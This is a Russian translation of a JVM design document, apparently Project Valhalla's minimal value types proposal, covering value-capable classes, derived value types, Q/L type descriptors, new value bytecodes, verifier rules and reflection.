В то время как слоган *«выглядит как класс, работает как int»* выражает наше общее видение типов-значений, этот минимальный набор функциональности будет предоставлять что-то типа *«работает как int, если вы сможете поймать его в бокс или ссылку»*.
Мы ограничили объем этой работы специально, чтобы полезные эксперименты на продуктовой JVM можно было начать делать куда раньше, чем если бы мы выкатили сразу весь стек функциональности типов-значений.
Поддержка новой функциональности на уровне JVM позволит мгновенно прототипировать новые возможности языка и инструментов, которые напрямую используют эти возможности. Но минимальный проект *не зависит* от таких возможностей языка и инструментов.
Классы VCC
==========
Класс может быть помечен специальной аннотацией `@DeriveValueType` (или, может быть, атрибутом). Класс, помеченный таким образом, называется *value-capable class* (сокращенно, *VCC*). Под этим имеется в виду, что кроме собственного типа, такому классу можно поставить в соответствие производный тип-значение (*derived value type*, или сокращенно, *DVT*).
Использование аннотации будет как-то ограничено, например, её можно будет разблокировать только используя опции командной строки, связав с каким-то [модулем инкубатора](http://openjdk.java.net/jeps/11).
Пример:
```
@jvm.internal.value.DeriveValueType
public final class DoubleComplex {
public final double re, im;
private DoubleComplex(double re, double im) {
this.re = re; this.im = im;
}
... // toString/equals/hashCode, accessors, math functions, etc.
}
```
Семантика помеченного класса будет такой же, как если бы аннотация не была проставлена. Но эта аннотация позволит JVM, в дополнение ко всему остальному, попробовать использовать помеченный класс как исходник для связанного производного типа-значения.
Суперклассом этого VCC обязательно должен быть `Object` (похожее требование было и в полном наборе функциональности, в котором суперклассы были запрещены).
Класс, помеченный как VCC должен соответствовать требованиям, предъявляемым к [value-based классам](http://docs.oracle.com/javase/8/docs/api/java/lang/doc-files/ValueBased.html), поскольку его экземпляры будут использоваться как боксы для значений связанного типа-значения. В частности, класс и все его поля, должны быть помечены как `final`, а конструктор должен быть приватным.
Класс, помеченный как VCC обязан не использовать никаких методов, предоставляемых из `Object` на всех своих экземплярах, т.к. Подобное использование привело бы к неопределенным последствиям операций на боксовой версии. Методы `equals`, `hashCode` и `toString` должны быть полностью заменены, не пытаясь позвать `Object` посредством `super`.
В качестве исключения, свободно можно использовать метод `getClass`; он ведет себя как если бы в VCC он заменялся на метод, возвращающий константу.
Как и все value-based классы, оставшиеся методы (`clone`, `finalize`, `wait`, `notify` и `notifyAll`) тоже не должны использоваться. Эту особенность мы возложили на пользователя, он должен добиться этого вручную. В полном варианте функциональности мы попытаемся найти способы добиться того же самого автоматически.
Резюмируя, JVM будет делать следующие структурные проверки по отношению к VCC:
* Класс должен быть помечен как `final`
* Класс должен быть правильным классом (не интерфейсом)
* Суперкласс обязательно `Object`
* Все нестатические поля помечены как `final`
* Следующие методы `Object`должны переопределяться: `equals`, `hashCode`, `toString`
* Следующие методы `Object` не должны переопределяться: `clone`, `finalize`
Эти структурные проверки выполняются, когда JVM создает DVT из VCC. Фазы этого процесса описываются ниже.
Помимо описанных выше ограничений, VCC могут делать все, что делают обычные value-based классы. Например, определение конструкторов, методов, полей и вложенных типов, реализацию интерфейсов, определение типовых переменных на себе или на методах. Нет никаких специальных ограничений на типы полей.
Как мы увидим позже, производные типы-значения содержат *только поля*. Они будут содержать тот же набор полей, что и VCC, из которого получены. Но JVM не станет добавлять им методы, конструкторы, вложенные типы или супер-типы. (В полном наборе функциональности, конечно, типы-значения будут «кодироваться как классы» и поддерживать все эти возможности).
**Заметка**: VCC, которые скомпилированы с использованием стандартного компилятора javac, не смогут определять вложенные поля (точнее, «inline sub-value»), которые сами по себе являются типами-значениями. Максимум что можно сделать — проставить поля с их связанными ссылочными типами («L-типами»). Обновленная версия javaс сможет объявлять такие под-значения сразу как настоящие «Q-типы». Эта версия javac даст разработчикам возможность работать с типами-значениями напрямую, не используя фокус с созданием отдельного производного типа-значения из VCC. Поэтому, если вы в VCC видите поле, которое самое по себе типизировано как VCC, это скорей всего, ошибка, так как приведет к непреднамеренному боксингу вложенного под-значения.
Вот чуть более подробный пример VCC, который описывает супербольшой long:
```
@DeriveValueType
final class Int128 extends Comparable {
private final long x0, x1;
private Int128(long x0, long x1) { ... }
public static Int128 zero() { ... }
public static Int128 from(int x) { ... }
public static Int128 from(long x) { ... }
public static Int128 from(long hi, long lo) { ... }
public static long high(Int128 i) { ... }
public static long low(Int128 i) { ... }
// possibly array input/output methods
public static boolean equals(Int128 a, Int128 b) { ... }
public static int hashCode(Int128 a) { ... }
public static String toString(Int128 a) { ... }
public static Int128 plus(Int128 a, Int128 b) { ... }
public static Int128 minus(Int128 a, Int128 b) { ... }
// more arithmetic ops, bit-shift ops
public int compareTo(Int128 i) { ... }
public boolean equals(Int128 i) { ... }
public int hashCode() { ... }
public boolean equals(Object x) { ... }
public String toString() { ... }
}
```
[Похожие типы](http://hg.openjdk.java.net/panama/panama/jdk/file/70b3ceb485cf/src/java.base/share/classes/java/lang/Long2.java) использовались в прототипе векторизации циклов. Этот пример содержится в прототипе пакета java.lang. Но те VCC, которые описываются в этом минимальном документе, *не* войдут ни в какой публичный API. Их видимость будет строго ограничиваться, например, системой модулей.
**Заметка**: в первую очередь VCC появятся для расширения числовых типов, например, `long`. Поэтому они должны сразу следовать какому-то стандарту и иметь консистентный набор арифметических и битовых операций. Рано или поздно, понадобится создать набор интерфейсов, которые выразят общую структуру операций для числовых примитивов и числовых значений.
Тип-значение и тип-объект
-------------------------
Когда JVM загружает VCC, оно может или агрессивно создать производный тип-значение, или наоборот — выставить на классе флаг, который будет указывать на то, что тип-значение следует создавать по запросу. (К использованию рекомендуется именно второй способ).
**Заметка:** минимальный набор функциональности может не рассматривать этот порядок и оставить его неопределенным. Что касается полной версии, вопрос спорный, т.к. производные тип-значения и VCC в ней идентичны.
Сам по себе VCC совершенно не меняется на этапе загрузки. Он остается обычным POJO для value-based класса.
Соответствующий ему тип-значение создается как копия этого класса, но со следующими критическими изменениями:
* Производный тип-значение помечается соответствующим образом (как «value-type»)
* Производному типу-значению присваивается новое имя, полученное на основе изначального VCC
* Все супер-типы изначального VCC стираются
* Нестатические поля исходного VCC переносятся без изменений
Имя, данное DVT спрятано внутри реализации. Вместо этого, для обозначения обоих типов используется имя VCC, и утверждается, что всегда существует достаточно информации чтобы разрулить неопределенность. В дескрипторах байткода, буквы `Q` и `L` используется для отражения этой разницы, мы обозначаем VCC как Q-тип, а DVT — как L-тип.
Создание DVT должно происходить в какой-то момент после загрузки VCC, но перед первым созданием экземпляра DVT. Это контролируется семантикой тех конкретных инструкций, которые запускают инициализацию DVT ровно тем же способом, что и некогда ныне существующие инструкции (такие как `getstatic` или `new`) запускают инициализацию обычных классов. Детали будут описаны ниже.
Давайте снова начнем с примера класса `DoubleComplex`:
```
@jvm.internal.value.DeriveValueType
public final class DoubleComplex {
public final double re, im;
...
double realPart() { return re; }
}
```
Когда JVM решает синтезировать производный тип-значение для типа `DobuleComplex`, оно делает свежую копию, вырезая все члены класса кроме полей `double`. Важно отметить, что, для превращения синтетического класса в value-type, JVM использует не просто тип-объект, а особую внутреннюю магию.
Внутри JVM, результирующий тип-значение будет выглядеть как-то так:
```
@jvm.internal.value.DeriveValueType
public final class L-DoubleComplex {
public final double re, im;
...
double realPart() { return $value.re; }
}
public static __ByValue class Q-DoubleComplex {
public final double re, im;
}
```
Гипотетическое ключевое слово `__ByValue` показывает, что вместо ссылок определяются значения. Пока мы серьезно не улучшим весь стек, такие вещи не могут быть напрямую записаны в исходном коде, но это разумно и полезно делать на этапе загрузки класса.
Заметьте, что производный тип-значение не имеет конструкторов. Обычно это было бы проблемой, поскольку JVM требует, чтобы у класса был хотя бы один конструктор. Но в данном случае, JVM разрешает это, так как знает о типах-значениях. (Такое ограничение не обязательно, если говорить о значениях в общем — *но эта история слишком долгая, чтобы уместить её здесь, в заметках на полях*). В любом случае, производный тип-значение будет заимствовать конструкторы своего VCC, как мы увидим в следующем разделе.
**Заметка**: подобный дизайн можно назвать «box-first», проектированием исходя из боксинга. Смысл в том, что JVM загружает только боксы, а тип-значение создается как побочный эффект загрузки. В конце концов, мы придем к такому дизайну, когда сами значения станут отправной точкой проектирования, но текущий box-first дизайн накладывает куда меньше ограничений на инструментарий, используемый для чтения и записи класс-файлов, включая JVM и javac. Поэтому, несмотря некоторую странность, этот box-first дизайн в данный момент является наилучшим решением.
Боксинг, анбоксинг и заимствования
----------------------------------
Под капотом JVM, для конвертации между VCC и типом-значением, расставляются операции боксинга и анбоксинга. Семантика этих операций — простое побитовое копирование между ними. Оно, очевидно, хорошо определено, поэтому списки полей — идентичные.
Синтетическая операция анбоксинга позволяет производным типам-значениям обращаться к конструкторам своего VCC, хоть и не напрямую. Используя конструктор, программист может сделать бокс, и распаковать его чтобы получить сконструированное значение. JVM всего лишь копирует поля изнутри этого бокса, а потом бокс стирается. (В полном варианте, типы-значения смогут обладать настоящими конструкторами, им не нужно будет ничего заимствовать из своих коробок).
Также, синтетическая операция анбоксинга позволяет типам-значениям обращаться к методам VCC. Точно так же, программист может временно к значение, и вызвать на нем любые методы из VCC, и выбросить бокс, как только метод завершится. Поскольку боксы живут недолго, скорей всего, JVM сможет оптимизировать или выбросить их, по крайней мере, для простых методов. (В полном варианте, типы-значения смогут иметь настоящие методы, им не нужно будет ничего заимствовать из боксов. Напротив, боксы смогут заимствовать методы из значений).
Заметьте, что синтетическая операция боксинга создает новый экземпляр VCC *без выполнения конструктора*. Обычно это было бы проблемой, но в данном случае, эти два класса настолько сильно связаны, что вполне безопасно предположить, что любые значения будут созданы (в первую очередь) с помощью анбоксинга хорошо сконструированного бокса. Паттерн боксинга и анбоксинга очень похож на паттерн сериализации и десериализации. В обоих паттернах, второе действие перекрывает нормальное создание объекта.
Синтетическая операция анбоксинга также позволяет производному типу-значению использовать интерфейсы своего VCC, но не напрямую. Снова, если производный тип-значение передается куда-то, где нужен интерфейс, разработчик может просто забоксить его и передать ссылку на бокс. (В полной версии, мы хотим дать значению напрямую работать с интерфейсами, чтобы никакого боксинга разработчику видно не было. Это потребует аккуратной работы над взаимодействием значений и интерфейсов).
И наконец, поскольку статические методы и поля не копируются в производный тип-значение, программист может получить к ним доступ только через VCC, то есть, через бокс.
Дескрипторы значений
====================
При использовании value-capable модулей (VCM), язык описания класс-файлов расширяется Q-типами, которые напрямую обозначают типы-значения (без боксинга). Синтаксис дескриптора: `QBinaryName;`, где `BinaryName` — это внутренняя форма имени VCC (внутренняя форма отличается тем, что в ней все слеши заменены на точки). По факту, имя класса получается из имени соответствующего VCC.
Для сравнения, стандартный дескриптор ссылочного типа называется L-типом. Если класс C является VCC, у него есть и Q-тип, и L-тип. Заметьте, что использование L-типов никак не коррелирует с использованием Q-типов. Например, они могут быть одновременно представлены в типах методов, причем, в любых сочетаниях.
Дескриптор Q-типа может быть использован как тип поля класса, определенного в VCM. Но тот же дескриптор не может встречаться в ссылке на поле (`CONSTANT_Fieldref`) для этого поля (даже в VCM!), если эта ссылка используется хотя бы в одной из четырех групп инструкций `getfield`.
(**Заметка:** фабрики ссылок на методы, описанные ниже, будут поддерживать загрузку и обновление полей, как для значений, так и для объектов. В нашем прототипе, сами инструкции полей мы менять не станем.)
Дескриптор Q-типа может быть типом элемента массива в классе, принадлежащем VCM (и снова, это относится только к VCM, и скорей всего, только к специальной экспериментальной версии класс-файлов. **Давайте перестанем это повторять** снова и снова, поскольку это ограничение описано в самом начале). Нет никаких байткодов для создания, чтения или записи таких массивов, но в нашем прототипе для таких функций будут доступны ссылки на методы.
Поле массива Q-типа инициализируется *значением по-умолчанию* для этого типа-значения, а не `null`. Это значение по-умолчанию (по крайней мере, прямо сейчас) определяется как комбинация значений по-умолчанию для отдельных элементов. Такое умолчательное значение можно получить из подходящей ссылки на метод, такой как комбинатор `MethodHandles.empty`.
(Другими словами, значения по умолчанию строятся просто комбинированием типо-специфичных умолчаний для `null`, `false`, `\0` и `0.0`. Все переменные в куче Java инициализируются этими нулевыми данными, включая и значения. Появление возможности вручную указывать умолчания маловероятно, ну или по крайней мере, это появится только в будущем).
Дескриптор Q-типа может быть параметром или типом возвращаемого значения для метода в файле класса. Как описано ниже, верификатор заставляет возвращать для таких параметров значения, совпадающие с Q-типом (но не соответствующим L-типом или любым другим типом).
Любая ссылка на метод (константа `CONSTANT_Methodref` или `CONSTANT_InterfaceMethodRef`) может указывать Q-тип в дескрипторе. После разрешения такой константы, определение такого метода уже не может быть нативным, и должно использовать байткоды, которые напрямую работают со значениями Q-типа.
Более того, константа `CONSTANT_Fieldref`может использовать Q-тип в своем собственном дескрипторе.
Заметьте, что язык Java не предоставляет никакого непосредственного способа создавать Q-типы в файлах классов. Тем не менее, генераторы байткода могут использовать такие типы и работать с ними. Скорее всего, проект Valhalla приведет к созданию экспериментальных возможностей языка, которые позволят работать с Q-типами напрямую из исходного кода.
Инструкции и константный пул
============================
Несмотря на то, что наши типы-значения уже получили имена и члены вроде ссылочных типов, они все еще отличаются от любых ссылочных типов, поэтому для внедрения Q-типов, нам нужно расширить структуры константного пула.
Так получается, что в результате расширения синтаксиса дескрипторов, дескрипторы методов и полей смогут использовать Q-типы. Для этого не нужно никаких специальных изменений в формате константного пула.
Между тем, некоторые типы в константном пуле используют «сырые» имена классов, без обычных для дескрипторов букв (`L` в начале и; в конце). В частности, константа `CONSTANT__Class` напрямую привязывается (после разрешения) к загруженному файлу класса, так что соответствующее отражение совершенно точно является основным отражением класса. Но что делать, если классфайлу нужно использовать второе отражение?
При использовании байткодов `ldc` или `ldc_w`, или на статическом аргументе, `CONSTANT_Class`, начинающийся с экранированного дескриптора, разрешается в главное отражение `Class` для разрешенного класса. Если нужно, вторичное отражение может быть получено, используя `CONSTANT_Dynamic` (из отдельного документа [JDK-8177279](http://bugs.openjdk.java.net/browse/JDK-8177279)).
При использовании в качестве компонента класса в константах `CONSTANT_Methodref` или `CONSTANT_Fieldref`, `CONSTANT_Class` всегда будет указывать на сам классфайл, без «привязки» к какому-то конкретному «представлению». Байткод, который *использует* поле или ссылку на метод, будет определять, является ли получатель Q или L типом. Об этой «привязке» байткода можно говорить как о неком *режиме*, таком что стандартная инструкция `getfield`становится инструкцией L-режима, а vgetfield — инструкцией Q-режима.
(**Заметка:** подобный дизайн «универсальных» ссылок на поля и методы подразумевает, что JVM собирается закэшировать достаточно ресурсов в элементе константного пула для `CONSTANT_Fieldref`, чтобы хватило и на `getfield` и на `vgetfield`, что означает либо дублирование памяти, либо строгое выравнивание между раскладкой в памяти забоксенных L-значений и буферизованных Q-значений одного и того же класса. То же самое про ссылки на методы. Выравнивание может иметь важное значение в реализации самой JVM, можно сделать значения Q-типов и L-типов внутренне очень похожими, за исключением конкретного способа хранения и идентификации. Это очень хорошо, особо если мы когда-нибудь добавим еще и U-типы).
В случае API `MethodHandles.Lookup`, разница между Q-типами и L-типами (и соответственно, режимами вызова) будет отмечена в отражении `Class`, переданном первым аргументом в вызове API, такого как `Lookup.findGetter`. Если в `findGetter` передано вторичное отражение для Q-типа, оно вернет геттер поля из получателя по значению. Если же передано первичное отражение (L-тип), тогда, конечно, оно вернет получателю геттер поля по ссылке, в точности как это и происходит сейчас.
Ограничения на Q-режим и вызовы методов
---------------------------------------
При выполнении вызовов методов в Q-режиме (с получателем Q-типа), нельзя использовать никакие методы из `java.lang.Object`; JVM или рантайм ссылок на методы возможно, даже будет строго следить за выполнением этого правила. Другими словами, Q-типы не наследуются от `Object`. Вместо этого, они либо определяют свои собственные методы, которые заменят методы из `Object`, по тем же правилам, что и value-based классы, либо просто не будут пользоваться методами из `Object`.
Как исключение, метод `Object.getClass` разрешен к использованию, но он должен возвращать первичное отражение `Class`, соответствующее VCC.
**Заметка:** идея в том, что `getClass` просто сообщает класс-отражение загруженного файла, чтобы установить тип объекта. Эта идея может измениться.
Эти ограничения применяются ко ссылкам на методы, полученным из Q-типов и для инструкций `vinvoke` (если они поддерживаются).
Изменения в JVM, необходимые для поддержки Q-типов
--------------------------------------------------
Q-типы, как и другие типы дескрипторов типов, могут использоваться во множестве мест. Вот основные:
* определения методов и полей (UTF8 ссылки в структурах `method_info` и `field_info`)
* символьные ссылкина методы и поля (UTF8 компонент в `CONSTANT_NameAndType`)
* Имена типов (UTF8 ссылки в константах `CONSTANT_Class`)
* Типы элемента массива (после левой скобочки `[`) в любом дескрипторе
* Типы в stack map верификатора (с помощью нового кода для Q-типов)
* Операнд (`CONSTANT_Class`) какого-то байткода (описано ниже)
JVM может попробовать использовать невидимый боксинг Q-типов чтобы упростить прототипирование некоторых путей выполнения. Конечно, это работает против основного назначения типов-значений, т.е. более плоского хранения данных в куче.
Минимальная модель требует обработку Q-типов в элементах массивов и полях объектов (или значений), как минимум, достаточно специализированную, чтобы инициализировать такие поля их значениями по-умолчанию, которые не являются (и не могут быть) обычным `null` L-типа.
Поэтому, когда класслоадер загружает объект, поля которого являются Q-типами, он должен разрешить и загрузить классы этих Q-типов, и собрать достаточно информации об определении Q-типа и выложить этот новый класс. Эта информация включает размер типа, и может включать выравнивание и карту управляемых ссылок, содержащуюся в Q-типе.
Если тип-значение содержит только примитивные поля, то необходимо реализовать создание массивов такого типа-значения, и в этих массивах данные должны храниться максимально плоско.
(**Заметка**: этот документ вводит так называемые «плоские массивы», элементами которых с начала и до конца являются структуры. Укороченная версия реализации *может* выбросить поддержку каких-то конкретных, или вообще всех подобных массивов, предназначенных для хранения значений. Например, даже если поля типов-значений будут содержать одновременно и примитивы, и ссылки, и/или под-значения, то массивы, которые смогут реализовывать такие смешанные наборы типов — реализовать будет куда как сложнее, чем просто массивы, содержащие значения только примитивных полей. Такие массивы *можно* выбросить из самых ранних реализаций. Те вызовы API, которые ожидают подобные сложные массивы, временно могут бросать ошибки и не возвращать никаких значений. **Мы предупреждали!**)
Плоские массивы, когда их таки реализуют, должны будут иметь компонентный тип, в свою очередь тоже являющийся Q-типом. Они будут отличаться от массивов соответствующих L-типов, по тому же принципу, как `Integer[].class` отличается от `int[].class`. Точно так же, супер-типы численных массивов будут только `Object` (как и в `int[]`), а не каким-то отдельным типом массива. Такие массивы не будут преобразовываться ни в какие другие типы массива, и работать с ними следует только с помощью напрямую полученных ссылок на методы.
В современной JVM, когда для класса создается первая реализация с помощью `new`, запускается его инициализация (за исключением случая, когда она уже произошла с помощью какой-то другой инструкции типа `getstatic`). Инициализация рекурсивно запускает инициализацию супер-класса, примерно так же, как раньше загрузка класса запускала загрузку супер-класса. Когда тип-значение внедряется в файл класса, он работает примерно как супертип (и при этом уважает фазы загрузки и инициализации класса).
В частности, из того что в объекте (назовем его «контейнером») поле Q-типа обладает корректным значением значением Q-типа (значением по-умолчанию) с первых моментов существования объекта-контейнера, напрямую следует, что класс этого поля должен быть инициализирован *заранее*, до того, как будет создан контейнер. Это требование довольно похоже на требование инициализации суперкласса, и их можно считать проявлением одного и того принципа: Когда класс иницилизируется (и соответственно, загружается), вначале нужно инициализировать (и загрузить) его *зависимости*, и «зависимостями» могут являться и суперклассы, и классы любых значений, встроенные в структуру подклассов. (Как если бы суперкласс в подклассе захватывал большое анонимное поле с типом-значением). Гарантируя правильное время инициализации классов полей, мы можем установить инвариант, под которым, методы класса могут работать на экземплярах класса (и на чистых значениях, и на объектах), пока не запустится инициализация класса.
В текущей минимальной реализации, DVT должен инициализоваться до того, как будет создано первое значение. Значит, создастся объект или массив этого типа, содержащий это значение, или выполнятся инструкции `vdefault` или `vunbox`. Этот DVT зависит от VCC, поэтому инициализация DVT должна, в свою очередь, запускать инициализацию VCC.
Заметьте, что инструкция `vunbox`, в реальности должна несколько ослабить свои требования, поскольку уже существует живой экземпляр VCC, и единственное, что еще осталось сделать — создать DVT и увидеть, что его инициализация ничего не делает, потому что не может содержать никакого кода.
Байткоды значений
=================
Были добавлены следующие байткоды инструкций:
* `vload` кладет значение (Q-типа) из локала на стек
* `vstore` берет значение (Q-типа) со стека в локал
* `vreturn` берет значение (Q-типа) со стека и возвращает из текущего метода
* `vbox` и `vunbox` преобразуют между соответствующими Q-типом и L-типом
* `vaload` и `vastore` организуют доступ к «плоским» массивам Q-типа
* `vdefault` кладет на стек значение по-умолчанию, уникальное для каждого конкретного Q-типа
* `vgetfield` забирает Q-тип и кладет поле, выбранное из Q-типа
* `vwithfield` забирает Q-тип и выбранное поле, и кладет обновленный Q-тип
Значения хранятся в отдельных локалах, а не в группах локалов, как это происходит с `long` и `double` (конкретнее, они используют их пары).
Формат этих инструкций — все еще следует обсуждать. Некоторые из них должны иметь поле операнда, которые описывает тип значения, над которым производится манипуляция. Инструкции манипуляции над полями требуют `CONSTANT_Fieldref`. Определенно, `vbox`, `vunbox` и `vdefault` требуют иметь явное поле типа операнда.
JVM может использовать разрешение Q-типов для получения информации о размере Q-типа и требований на выравнивание, чтобы правильно «упаковать» их во фрейм стека интерпретатора. Или может быть, JVM может просто использовать забоксенные или буферизованные представления (соответствующие value-capable L-типы, или какой-то внутренний тип кучи или стека) и проигнорировать всю информацию о размере.
Похоже, что для для инструкций, посвященных перемещению данных, мы можем выбросить операнды типов. Если мы вдруг увидим, что интерпретатор JVM обязан использовать универсальный с точки зрения внутренней реализации «тип-носитель» для всех типов-значений на стеке, то можно просто потребовать, чтобы этот «носитель» был само-описываемым, и тогда в инструкциях перемещения нам не нужно будет пере-подтверждать точный тип значения.
Так как инструкции `invokevirtual`, `invokespecial` и `invokeinterface` являются инструкциями Q-режима, они не смогут вызывать методы на Q-значениях. Ссылки на методы, `invokestatic` и `invokedynamic` всегда будут позволять вызывать методы на Q-типах, и для начала этого вполне достаточно. Такие ссылки на методы могут, на самом деле, внутренне боксить Q-тип и запускать метод соответствующего L-типа, но эту тактику можно улучшать и оптимизировать в библиотеках поддержки Java, без постоянных провалов в интерпретатор.
(**Заметка**: совершенно очевидно, что в полной версии у нас будет специальная инструкция для вызовов в Q-режиме, т.е. `vinvoke`, и она позволит делать все эти вызовы без боксинга. Для U-типов, инструкция `uninvoke`, работающая соответственно в U-режиме, точно таким же образом будет работать на динамически помеченном значении-получателе, которое будет иметь либо Q-тип, либо L-тип. Этот расширенный режим может показаться несколько экстравагантным, но, по-видимому, он действительно нужен для алгоритмах на дженериках, которые возникают при использовании интерфейсов и типов переменных, которые могут работать на диапазонах как чистых значений, так и ссылок на объекты.)
Взаимодействие с верификатором
------------------------------
При определении состояния на входе в метод, если Q-тип встречается в дескрипторах аргументов метода, верификатор смотрит, существует ли этот Q-тип (не L-тип!) в соответствующем локале на момент входа.
При возврате из метода, если тип возвращаемого значения является Q-типом, этот же Q-тип должен находиться на вершине стека.
При выполнении вызова (в любом режиме), стек должен содержать Q-типы на позициях, соответствующих Q-типам в дескрипторах аргументов ссылки на метод. После вызова, если тип возвращаемого значения был Q-типом, этот Q-тип можно будет обнаружить на вершине стека.
Как и в случае с примитивными типами `int`и `float`, Q-тип сам по себе не преобразуется ни в какие другие типы верификатора, или в супер-типы `oneWord` и `top`. Это влияет на соответствующие значения при вызове методов, и на точки слияния в потоке управления. Q-типы не конвертируются в L-типы, и даже в боксы или супер-типы (`Object`, интерфейсы) своих L-типов тоже не конвертируются.
Кроме очевидных, `vload`, `vstore`, `vreturn` и семейства инструкций `invoke`, единственные байткоды, которые гарантированно производят или потребляют операнды Q-типов — это `pop`, `pop2`, `swap`, и семейство инструкций `dup`. Со временем будут добавляться новые байткоды. Верификатор проверяет правильное использование Q-типов.
Инструкции `vaload` и `vastore` работают по образу и подобию существующих инструкций для массивов. Если у нас есть универсальный «тип-носитель», нет никакой необходимости для этих инструкций пере-подтверждать Q-тип, над которым они работают. Его всегда можно получить из самого массива.
Инструкция `vgetfield` имеет уровень доступа, аналогичный существующей `getfield`. Если в каком-то типе-значении есть публичное поле, любой класс может прочитать это это поле из значения соответствующего типа.
Но вот `vwithfield` уже имеет жесткий контроль доступа, вне зависимости от доступности поля. Только класс с приватным доступом до типа-значения может выполнять замену поля. Это ограничение аналогично инструкции`putfield` на final-поле, которая разрешена только классу, в котором это поле объявлено, и на самом деле, только в конструкторах этого класса. Поскольку VCC и DVT являются двумя сторонами одного и того же логического типа, JVM должна позволять VCC выполнять `vwithfield` и на его DVT. И наоборот, с помощью ссылок на методы, разве что VCC каким-то будет содержать встроенные инструкции `vwithfield`.
(**Заметка**: инструкции обновления полей-значений примерно соответствуют инструкциям обновления полей-объектов, в которых эти поля — final. Правила отличаются в деталях. JVM проверяет, чтобы `putfield` выполнился только на final полях, и только в конструкторах. Язык Java усиливает ограничения, гарантируя, что каждое такое поле должно устанавливаться *в точности один раз*, по всем путям исполнения до нормального выхода из конструктора. Точно так же, язык будет проверять правильную инициализацию полей-значений, но здесь уже JVM не играет никакой конкретной роли, разве что ограничивает использование `vwithfield` приватным кодом. Это ограничение не идентично своему варианту для final полей, поскольку `vwithfield` можно легально использовать и вне конструкторов значений.)
Рефлексивный Lookup API позволит VCC и DVT предоставить доступ к приватным членам и возможностям друг друга, как сейчас это происходит в nestmates. Включая разрешение использовать инструкцию `vwithfield`. Поскольку DVT не содержит никаких методов, этот обмен правами ассиметричен, но в любом случае, он двунаправленный по самой идее.
(**Заметка**: будущие версии JVM могут реализовать явные nestmates на уровне VM, которые будут испить доступ к приватным полям и методам друг друга. В этих версиях JVM, инструкция `vwithfield` будет доступна для всех nestmates каждого конкретного типа-значения. Другими словами, `vwithfield` доступна внутри некоей «капсулы», в которой доступны все приватные методы).
Инструкция `vdefault`, похоже, очень «приватная» для каждого конкретного типа-значения, поскольку позволяет создание значения без использования конструктора. Но значения по-умолчанию имеют в JVM очень особый статус, поскольку любой массив определенного типа всегда пред-заполнен этими значениями по-умолчанию. Поэтому, на самом деле, нет ничего «приватного» в `vdefault`. Любой класс когда угодно может вычислить значение по-умолчанию для любого Q-типа.
Q-типы и байткоды
-----------------
Другие байткоды тоже могут взаимодействовать с Q-типами, по крайней мере эти:
* Все байткоды вызова: любой аргумент или возвращаемое значение может быть Q-типом. Получатель (компонент класс в `Methodref`) может и не уметь этого, даже для статических членов
* `ldc` и `ldc_w` (Q-типа, или возможно, динамически сгенерированной константы)
* `anrearray`, `multianewarray` работает на массивах с элементами Q-типа
Следующие инструкции могут не поддерживаться в минимальной реализации:
* `getfield`, `putfield`, `getstatic`, `putstatic` (для значения Q-типа)
Вполне возможно, что JVM разрешит принимать файлы классов, которые описывают поля Q-типов, но не позволит выполнять над ними инструкции доступа к полям. В этом случае, workaround будет в использовании ссылок на методы, которые будут читать и устанавливать Q-поля в таких файлах классов.
(Заметьте, что такие файлы классов будут создаваться прямой раскруткой байткода, или расширенной нестандартной версией javac. VCC не будут содержать дескрипторов Q-типа, поскольку стандартная версия javac никогда их не генерирует).
Рефлексия типов-значений
========================
В мире типов-значений, есть фундаментальное отличие, которое заключается в роли рефлексивного типа-отражения класса, `java.lang.Class`. До появления типов-значений, между файлами классов, и их Class-отражениями существовало отношение «один к одному». Единственное исключение было — отражения примитивных типов вроде `int.class`, им не соответствовало ни одного файла класса. После появления типов-значений, один файл класса может соответствовать более чем одному Class-отражению. В особенности, загрузка типа-значения сразу же делает доступными два отражения, одно из которых Q-типа, и другое — L-типа. Такое отношение похоже на уже существующее между `int.class` и `Integer.class`, но в данном случае они означают один и тот же класс с разных точек зрения или разных проекций. (Еще будет U-тип, который объединит их оба. Специализируемые классы смогут создавать неограниченное число производных специализаций).
Учитывая всё это, кажется весьма полезным говорить об *основном отражении* или о *собственном отражении* класса, которое наиболее прямо представляет загруженный файл класса. Тогда мы скажем, что существуют «помощники», другие отражения класса, которые представляют другие образы или проекции основного. Мы будем говорить о них как о *вторичных* или *несобственных отражениях*.
(**Заметка**: если посмотреть на это хорошенько прищурившись, можно заметить, что `Integer.class` работает как основное зеркало для вторичного зеркала `int.class`. Возможно, в будущем их можно будет как-то объединить, ибо на самом деле они говорят об одном и том же общем классе).
Для этой минимальной реализации типов-значений, мы идем в светлое будущее, выделяя Class-отражения для DVT и VCC, и работая с VCC как с основным отражением, а DVT — вторичным.
В изначальном прототипе, публичный класс `jdk.experimental.value.ValueType` (во внутреннем модуле) будет содержать все методы runtime-реализации этих значений.
`ValueType` будет содержать следующие публичные методы для рефлексии Q-типов:
```
public class ValueType {
static boolean classHasValueType(Class x);
static ValueType forClass(Class x);
Class valueClass(); // DVT, secondary mirror
Class boxClass(); // VCC, principal mirror
...
}
```
Предикат `classHasValueType` является истинным, если аргумент, представляет собой Q-тип или VCC (его L-тип). Фабрика `forClass` возвращает дескриптор Q-типа для любого типа, производного от VCC. (В случае любого другого типа оно кидает `IllegalArgumentException`. Если хочется избежать исключения, можно заранее выполнить проверку `classHasValueType`).
Два акцессора `valueClass` и `boxClass` возвращают, соответственно, либо в точности объекты `java.lang.Class` этого Q-типа, либо изначальные (VCC) L-типы.
В этом случае`ValueType.forClass(vt.valueClass())` совпадает с `vt`, то же самое для `boxClass`. Поэтому, любой Class типа-значения может быть использован для получения своего дескриптора `ValueType`.
Легаси метод `Class.forName` продолжит возвращать `boxClass`, из соображений совместимости. Это поведение может или сохраниться, или измениться в будущем. (В будущем, конструкция языка `T.class` будет отражать в исходном коде что-то более подходящее для типа, присвоенного `T`, чтобы соответствовать слогану «работает как `int`».
Вторичное отражение Q-типа не сможет работать с наиболее осмысленными рефлексивными запросами, такими как `getDeclaredMethods`. Причина заключается в том, что DVT, полученное из VCC, должно быть как можно более легким. Скорей всего, рефлексивные запросы сидят только поля, и всё.
В любом случае, для проверки членов типа-значения, пользователям следует прибегать к использованию VCC (`boxClass`). (Такой расклад может поменять, если вдруг оба класса сольются). Это вполне нормально работает, потому что VCC загружается и обслуживается как обычный POJO, а DVT из него получается без всяких изменений.
